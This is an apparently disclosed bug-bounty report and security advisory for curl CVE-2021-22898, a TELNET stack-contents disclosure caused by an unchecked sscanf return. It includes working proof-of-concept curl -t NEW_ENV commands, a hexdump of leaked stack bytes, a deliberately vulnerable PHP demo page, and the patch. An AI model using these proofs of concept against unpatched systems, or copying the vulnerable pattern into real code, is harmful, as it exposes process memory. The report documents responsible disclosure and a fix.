CVE-2021-22898: TELNET stack contents disclosure

Share:

TIMELINE

nyymi submitted a report to curl. Apr 27th (2 years ago)

Summary:

lib/telnet.c `suboption` function incorrecly checks for the `sscanf` return value. Instead of checking that 2 elements are parsed, the code also continues if just one element matches:

```
if(sscanf(v->data, "%127[^,],%127s", varname, varval)) {
```

As such it is possible to construct environment values that don't update the `varval` buffer and instead use the previous value. In combination of advancing in the `temp` buffer by `strlen(v->data) + 1`, this means that there will be uninitialized gaps in the generated output `temp` buffer. These gaps will contain whatever stack contents from previous operation of the application.

Fortunately the environment is controlled by the client and not the server. As such this vulnerability can't be exploited by the server. Practical exploitation is limited by the following requirements:

- attacker is able to control the environment passed to libcurl via `CURLOPT_TELNETOPTIONS` ("`NEW_ENV=xxx,yyy`") and control `xxx` and `yyy` in the curl_slist entries)
- attacker is able to either inspect the network traffic of the telnet connection or to select the server/port the connection is established to

When both are true the attacker is able to some content of the stack. Note however that for this leak to be meaningful, some confidential or sensitive information would need to be leaked. This could happen if some key or other sensitive material (that is otherwise out of the reach of the attacker, due to for example setuid + dropping of privileges, or for example only being able to execute the command remotely in a limited fashion, for example php curl, or similar) would thus become visible fully, or partially. The leak is limited to maximum about half of the 2048 byte `temp` buffer.

Steps To Reproduce:

1. Run telnet service
2. tcpdump -i lo -X -s 65535 port 23
3. Execute

Code 1.86 KiB Wrap lines Copy Download

```
curl -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaa
```

You'll see something like:

Code 8.49 KiB Wrap lines Copy Download

```
	0x0000:  4500 073a 9711 4000 4006 9eaa 7f00 0001  E..:..@.@.......
	0x0010:  7f00 0001 c79c 0017 f499 4092 2173 31a0  ..........@.!s1.
	0x0020:  8018 0200 052f 0000 0101 080a d7e7 b666  ...../.........f
	0x0030:  d7e7 b666 fffa 2700 0061 6161 6161 6161  ...f..'..aaaaaaa
	0x0040:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0050:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0060:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0070:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0080:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0090:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x00a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x00b0:  6161 6161 6161 6161 0100 0000 0000 0000  aaaaaaaa........
	0x00c0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x00d0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x00e0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x00f0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0100:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0110:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0120:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0130:  0000 0000 0000 0000 0061 6161 6161 6161  .........aaaaaaa
	0x0140:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0150:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0160:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0170:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0180:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x0190:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x01a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
	0x01b0:  6161 6161 6161 6161 0100 0000 6025 fec0  aaaaaaaa....`%..
	0x01c0:  7c7f 0000 0000 0000 0000 0000 e002 0000  |...............
	0x01d0:  0000 0000 60cd f654 7c55 0000 0088 2975  ....`..T|U....)u
	0x01e0:  780b b94a 0000 0000 0000 0000 c45d b9aa  x..J.........]..
	0x01f0:  fd7f 0000 a05b b9aa fd7f 0000 a05c b9aa  .....[.......\..
	0x0200:  fd7f 0000 2042 f754 7c55 0000 702a f754  .....B.T|U..p*.T
	0x0210:  7c55 0000 0000 0000 0000 0000 148f e7c0  |U..............
	0x0220:  7c7f 0000 3000 0000 3000 0000 505b b9aa  |...0...0...P[..
	0x0230:  fd7f 0000 905a b9aa 0061 6161 6161 6161  .....Z...aaaaaaa
```

```
0x0270:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0280:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0290:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x02a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x02b0:  6161 6161 6161 6161 0100 0000 605d b9aa  aaaaaaaa....`]..
0x02c0:  fd7f 0000 605d b9aa fd7f 0000 695d b9aa  ....`]......i]..
0x02d0:  fd7f 0000 ffff ffff ffff ffff 605d b9aa  ............`]..
0x02e0:  fd7f 0000 ffff ffff ffff ffff 0000 0000  ................
0x02f0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310:  0000 0000 1000 0000 0000 0000 7413 f1c0  ............t...
0x0320:  7c7f 0000 0000 b9aa fd7f 0000 0000 0000  |...............
0x0330:  0000 0000 1000 0000 0061 6161 6161 6161  .........aaaaaaa
0x0340:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0350:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0360:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0370:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0380:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0390:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x03a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x03b0:  6161 6161 6161 6161 0100 0000 e82e f754  aaaaaaaa.......T
0x03c0:  7c55 0000 0000 0000 0000 0000 702a f754  |U..........p*.T
0x03d0:  7c55 0000 2042 f754 7c55 0000 148f e7c0  |U...B.T|U......
0x03e0:  7c7f 0000 3000 0000 3000 0000 105d b9aa  |...0...0....]..
0x03f0:  fd7f 0000 505c b9aa fd7f 0000 0088 2975  ....P\........)u
0x0400:  780b b94a c05d b9aa fd7f 0000 2042 f754  x..J.]....... B.T
0x0410:  7c55 0000 7f00 0000 0000 0000 0000 0000  |U..............
0x0420:  0000 0000 0000 0000 0000 0000 0100 0000  ................
0x0430:  0000 0000 a47b e2c0 0061 6161 6161 6161  .....{...aaaaaaa
0x0440:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0450:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0460:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0470:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0480:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0490:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x04a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x04b0:  6161 6161 6161 6161 0100 0000 aea3 e7c0  aaaaaaaa........
0x04c0:  7c7f 0000 1700 0000 0000 0000 1000 0000  |...............
0x04d0:  3000 0000 005f b9aa fd7f 0000 305e b9aa  0...._......0^..
0x04e0:  fd7f 0000 0180 adfb fd7f 0000 47f3 f654  ............G..T
0x04f0:  7c55 0000 49f3 f654 7c55 0000 40f2 f654  |U..I..T|U..@..T
0x0500:  7c55 0000 40f2 f654 7c55 0000 40f2 f654  |U..@..T|U..@..T
0x0510:  7c55 0000 40f2 f654 7c55 0000 40f2 f654  |U..@..T|U..@..T
0x0520:  7c55 0000 49f3 f654 7c55 0000 0000 0000  |U..I..T|U......
0x0530:  0000 0000 0000 0000 0061 6161 6161 6161  .........aaaaaaa
0x0540:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0550:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0560:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0570:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0580:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0590:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x05a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x05b0:  6161 6161 6161 6161 0100 0000 1f00 0000  aaaaaaaa........
0x05c0:  0000 0000 3001 0000 0000 0000 0000 0000  ....0...........
0x05d0:  0000 0000 0200 0000 3000 0000 6e00 0000  ........0...n...
0x05e0:  7c00 0000 0000 0000 0000 0000 5b00 0000  |...........[...
0x05f0:  7700 0000 0000 0000 0000 0000 0000 0000  w...............
0x0600:  0000 0000 8038 f754 7c55 0000 0000 0000  .....8.T|U......
0x0610:  0000 0000 1000 0000 0000 0000 b0ff ffff  ................
0x0620:  ffff ffff 805f b9aa fd7f 0000 2042 f754  ....._.......B.T
0x0630:  7c55 0000 1a21 f954 0061 6161 6161 6161  |U...!.T.aaaaaaa
0x0640:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0650:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0660:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0670:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0680:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x0690:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x06a0:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
0x06b0:  6161 6161 6161 6161 0100 5600 0000 0000  aaaaaaaa..V.....
0x06c0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x06d0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x06e0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x06f0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0700:  0000 0000 f7f9 bbaa fd7f 0000 0100 0000  ................
0x0710:  0000 0000 b05f b9aa fd7f 0000 0e5f 07c1  ....._......._..
0x0720:  7c7f 0000 0100 0000 0000 0000 417b eec0  |...........A{..
0x0730:  7c7f 0000 6161 6161 fff0                 |...aaaa..
```

Fix

```
--- a/lib/telnet.c
+++ b/lib/telnet.c
@@ -921,7 +923,7 @@ static void suboption(struct Curl_easy *data)
          size_t tmplen = (strlen(v->data) + 1);
          /* Add the variable only if it fits */
          if(len + tmplen < (int)sizeof(temp)-6) {
-          if(sscanf(v->data, "%127[^,],%127s", varname, varval)) {
+          if(sscanf(v->data, "%127[^,],%127s", varname, varval) == 2) {
             msnprintf((char *)&temp[len], sizeof(temp) - len,
                       "%c%s%c%s", CURL_NEW_ENV_VAR, varname,
                       CURL_NEW_ENV_VALUE, varval);
```

Impact

Leak of potentially confidential information.

bagder curl staff posted a comment. Apr 27th (2 years ago)

Thank you for your report!

We will take some time and investigate your reports and get back to you with details and possible follow-up questions as soon as we can!

bagder curl staff posted a comment. Apr 27th (2 years ago)

> attacker is able to control the environment passed to libcurl via CURLOPT_TELNETOPTIONS

Is that even an attack scenario we can (and should) protect libcurl against? If an attacker can control what goes into specific options passed to libcurl, I would rather suggest that's an attack on the particular application, not on libcurl.

nyymi posted a comment. Apr 27th (2 years ago)

> Is that even an attack scenario we can (and should) protect libcurl against?

IMHO yes and yes, and the current code already tries to do that. It almost succeeds, too. The only issue I could spot is the incorrect check for `sscanf` return value.

libcurl should not crash or divulge stack contents merely if the strings passed to the library can be tampered with. It is not far fetched to think that the attacker might be able to control number of the string parameters that end up being passed to libcurl. This can easily happen for example when using curl from php. libcurl code goes to great lengths to try validate the passed string input to avoid misbehaviour (for example the code limits the string lengths to ensure that overly long input can't result in stack buffer overflows).

nyymi posted a comment. Apr 27th (2 years ago)

To add, I think that `telnet://` is probably very rarely used functionality in libcurl, and thus this issue has very small likelihood of being found exploitable in practice. In general ,however, I think that the idea of not trusting the string input is a very sensible strategy and should be enforced throughout libcurl.

nyymi posted a comment. Apr 27th (2 years ago)

It is an interesting question how much validation should be done, and to what parts to extend it to. Here are some of my thoughts:

- Invalid (non-NULL) pointers via the libcurl API is something that does not need to be guarded against, nor does it make any sense to try to. For example I think it doesn't make sense to validate if invalid data pointer is passed or if `struct curl_slist *` `next` or `data` pointers point to a valid address. Any such failure is fault of the application, and if user input manages to create invalid data, it is a bug of the application not libcurl.
- Any pointer to input object with specific format (0 terminated strings, byte ptr + len etc) should be validated and guarded against invalid input. For example that processing the input string doesn't overflow any internal buffers in libcurl when parsing the data, and that the data is of expected format. If invalid or unexpected format is detected, it should be handled in a controlled manner. Typically this means cleaning up any already allocated resources and returning an error code, or considering the input truncated. This should be documented and handled consistently over similar functionality. This naturally also includes parsing of protocol data (http, tls, ftp, telnet, smtp, pop, ftp and so on).
- Any output byte ptr + len should not be overflown by any libcurl functionality. What actually will happen on excess data should be documented (whether data is truncated, how it is is terminated (if applicable), or if an error return code is returned instead). This also should be handled consistently over similar functionality. This naturally also includes internal generation of protocol data (http, tls, ftp, telnet, smtp, pop, ftp and so on).

My feeling is that this is what libcurl is doing already pretty much. I'm not entirely sure if this is formally documented anywhere, but if not, maybe it should be. The above is somewhat inconsistently laid out but feel free to reuse or use it in any (modified/improved) form if it might prove useful.

Specific, in the context of this bug, this means that:

- CURLOPT_TELNETOPTIONS `struct curl_slist *` pointer or `next` or `data` pointer need not be validated for invalid addresses.
- The actual strings passed in 'data' however should be validated and invalid data processed gracefully. How invalid data is processed should be documented (if overly long strings are truncated or if the whole operation will fail if invalid option data is met. At the moment such documentation seems to be missing.

The 2nd bit is where this bug is located: Due to an oversight it doesn't properly validate that the `NEW_ENV` have both pairs in the format. This results in reuse of previous data and will lead to leak of previous stack contents.

bagder curl staff posted a comment. Apr 28th (2 years ago)

I think you're conflating two different things.

First: I'm certainly of the opinion that libcurl should check the input and bail out if there are errors in what's provided. At least to an extent that is sensible and doable. We also expect applications to follow the API documentation.

Then there's a separate discussion: libcurl takes options that alter how it behaves. We cannot make libcurl "survive" an attacker that can control what is set to specific libcurl options. In most cases such an attacker wouldn't have to create illegally formatted input to an option, such an attacker would then rather just change a few crucial options to make libcurl behave completely different than what the original purpose of the application was. Or just pass in crap/bad data that libcurl cannot verify without crashing.

nyymi posted a comment. Updated Apr 28th (2 years ago)

I certainly agree in that if the attacker change the option in that it changes the behaviour, as documented, it certainly isn't a security vulnerability in libcurl.

I believe that `CURLOPT_TELNETOPTIONS` is bit of a fringe case as it is not that commonly used, and it might be rather uncommon to be see it used in a way that would lead to this specific vulnerability to exploitable. But lets imagine we would have a similar vulnerability in `CURLOPT_URL`, in a way that specifying a specially crafted value would result in the data returned to include parts of the uninitialized heap or stack contents. Lets imagine a php curl application in that where attacker would have partial control of the `CURLOPT_URL` parameter in a way that they can trigger the vulnerability by adjusting GET or POST parameter passed to the PHP web application (*).

I think libcurl should protect against such behaviour, and having bugs such as these should be considered a security vulnerability.

*) Of course such construct might also lead to additional set of vulnerabilities such as SSRF, too.

(Oh, fancy, there's edit option available for some minutes after posting. cool!)

nyymi posted a comment. Apr 28th (2 years ago)

Sorry, I lost train of thought there, should have said "having bugs such as these should be considered a security vulnerability."

nyymi posted a comment. Apr 28th (2 years ago)

Here is a super simplified example of a PHP app that in my opinion should never divulge the contents of the php process stack, regardless what parameters you put to the form fields. Yet, it can be coaxed to do that by manipulating the env parameters as described in this ticket.

Code 1.18 KiB Wrap lines Copy Download

```
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>libcurl telnet test</title>
</head>

<body>

<?php

if (isset($_POST['server']) && isset($_POST['env']))
{
  $server = $_POST['server'];
  if (filter_var($server, FILTER_VALIDATE_IP))
  {
    $env = array();
    foreach($_POST['env'] as $key => $value) {
      $env[] = 'NEW_ENV=' . $value;
    }

    $ch = curl_init('telnet://' . $server);
    curl_setopt($ch, CURLOPT_TELNETOPTIONS, $env);
    curl_setopt($ch, CURLOPT_TIMEOUT, 2);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'foo');
    $output=curl_exec($ch);
    curl_close($ch);
  }
}

?>

<form method="POST">
  <label for="">telnet server:</label><br>
  <input type="text" id="server" name="server" value="127.0.0.1"><br>
  <label for="">env:</label><br>
  <input type="text" name="env[0]" value="foo,bar" /><br>
  <input type="text" name="env[1]" /><br>
  <input type="text" name="env[2]" /><br>
  <input type="text" name="env[4]" /><br>
  <input type="text" name="env[5]" /><br>
  <input type="text" name="env[6]" /><br>
  <input type="text" name="env[7]" /><br>
  <button type="submit">Submit</button>
</form>

</body>
</html>
```

bagder curl staff changed the status to ○ Triaged. Apr 29th (2 years ago)

Confirmed. I'd like to fix this issue and release an advisory in sync with the pending next release, unless someone thinks this needs a faster processing! I will get a CVE and write up an advisory within the next few days.

bagder curl staff posted a comment. Apr 29th (2 years ago)

FYI, this bug was introduced in this commit: https://github.com/curl/curl/commit/a1d6ad2610 (February 20, 2001 - curl 7.7). More than 20 years ago.

bagder curl staff posted a comment. Apr 29th (2 years ago)

I think this CWE seems reasonable:

bagder curl staff posted a comment. Apr 29th (2 years ago)

we can make the attack send a larger share of stack data by adapting the command line a little and use a shorter variable name:

```
-
tNEW_ENV=a,bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
```

This sends 3 bytes of known content, then 253 bytes of stack content for each variable, so unless I'm doing my math wrong we can send (7*253) 1771 bytes of stack contents in the (2048 - 6) bytes used.

bagder curl staff updated CVE reference to CVE-2021-22898. Apr 29th (2 years ago)

bagder curl staff changed the report title from **telnet protocol CURL_TELOPT_NEW_ENVIRON stack disclosure** to **CVE-2021-22898: TELNET stack contents disclosure**. Apr 29th (2 years ago)

bagder curl staff posted a comment. Apr 29th (2 years ago)

Security advisory (also attached)

TELNET stack contents disclosure

Project curl Security Advisory, May 26th 2021 -
Permalink

VULNERABILITY

curl supports the `-t` command line option, known as `CURLOPT_TELNETOPTIONS` in libcurl. This rarely used option is used to send variable=content pairs to TELNET servers.

Due to flaw in the option parser for sending `NEW_ENV` variables, libcurl could be made to pass on uninitialized data from a stack based buffer to the server. Therefore potentially revealing sensitive internal information to the server using a clear-text network protocol.

This could happen because curl did not check the return code from a `sscanf(command, "%127[^,],%127s")` function invoke correctly, and would leave the piece of the send buffer uninitialized for the value part if it was provided longer than 127 bytes. The buffer used for this is 2048 bytes big and the *variable* part of the *variable=content* pairs would be stored correctly in the send buffer, making curl sending "interleaved" bytes sequences of stack contents. A single curl TELNET handshake could then be made to send off a total of around 1800 bytes of (non-contiguous) stack contents in this style:

[control byte]name[control byte]
stack contents
[control byte]name[control byte]
stack contents
...

An easy proof of concept command line looks like this:

curl telnet://example.com -tNEW_ENV=a,bbbbbb (256 'b's)

We are not aware of any exploit of this flaw.

INFO

This flaw has existed in curl since commit
a1d6ad2610 in libcurl 7.7,
released on March 22, 2001.

The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2021-22898 to this issue.

CWE-457: Use of Uninitialized Variable

Severity: Median

AFFECTED VERSIONS

- Affected versions: curl 7.7 to and including 7.76.1
- Not affected versions: curl < 7.7 and curl >= 7.77.0

Also note that libcurl is used by many applications, and not always advertised as such.

THE SOLUTION

Use sscanf() properly and only use properly filled-in buffers.

A URL

(The patch URL will change in the final published version of this advisory)

RECOMMENDATIONS

A - Upgrade curl to version 7.77.0

TIMELINE

This issue was reported to the curl project on April 27, 2021.

This advisory was posted on May 26, 2021.

CREDITS

This issue was reported and patched by Harry Sintonen.

Thanks a lot!

1 attachment:
F1283202: CVE-2021-22898.md

irl rewarded nyymi with a **$1,000** bounty. May 8th (2 years ago)

The curl security team has decided to reward hacker @nyymi with the amount of 1000 USD for finding and reporting this issue. Many thanks for your great work!

nyymi posted a comment. May 9th (2 years ago)

Severity: Median

s/Median/Medium/g

bagder curl staff posted a comment. May 9th (2 years ago)

Thanks, fixed in my local version!

bagder curl staff closed the report and changed the status to **Resolved**. May 26th (2 years ago)

bagder curl staff requested to disclose this report. May 26th (2 years ago)

nyymi agreed to disclose this report. May 26th (2 years ago)

This report has been disclosed. May 26th (2 years ago)